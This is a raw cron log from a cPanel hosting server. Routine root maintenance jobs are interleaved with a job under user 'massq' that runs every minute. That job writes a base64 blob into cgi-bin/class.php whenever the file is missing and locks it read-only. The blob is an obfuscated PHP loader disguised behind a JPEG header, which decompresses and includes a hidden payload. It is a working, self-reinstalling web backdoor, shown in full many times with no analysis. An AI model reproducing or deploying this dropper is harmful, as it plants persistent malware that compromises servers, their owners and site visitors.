Sep  1 16:48:01 server CROND[30377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:48:01 server CROND[30385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:49:01 server CROND[30845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:49:01 server CROND[30847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:49:01 server CROND[30846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:50:01 server CROND[31231]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:50:01 server CROND[31233]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:50:01 server CROND[31239]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 16:50:01 server CROND[31242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:50:01 server CROND[31241]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:50:01 server CROND[31245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:50:01 server CROND[31243]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 16:50:01 server CROND[31246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:50:01 server CROND[31240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:51:01 server CROND[32078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:51:01 server CROND[32079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:51:01 server CROND[32080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:52:01 server CROND[32445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:52:01 server CROND[32446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:52:01 server CROND[32447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:53:01 server CROND[374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:53:01 server CROND[375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:53:01 server CROND[376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:54:01 server CROND[881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:54:01 server CROND[882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:54:01 server CROND[883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:55:01 server CROND[1362]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:55:01 server CROND[1365]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:55:01 server CROND[1364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:55:01 server CROND[1366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:55:01 server CROND[1367]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 16:55:01 server CROND[1368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:55:01 server CROND[1369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:56:01 server CROND[2228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:56:01 server CROND[2230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:56:01 server CROND[2229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:57:01 server CROND[2616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:57:01 server CROND[2615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:57:01 server CROND[2614]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 16:57:01 server CROND[2620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:58:01 server CROND[3020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:58:01 server CROND[3021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:58:01 server CROND[3024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:59:01 server CROND[3491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:59:01 server CROND[3493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:59:01 server CROND[3492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:00:01 server CROND[3867]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:00:01 server CROND[3869]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:00:01 server CROND[3868]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:00:01 server CROND[3870]: (root) CMD (/usr/lib64/sa/sa1 1 1)
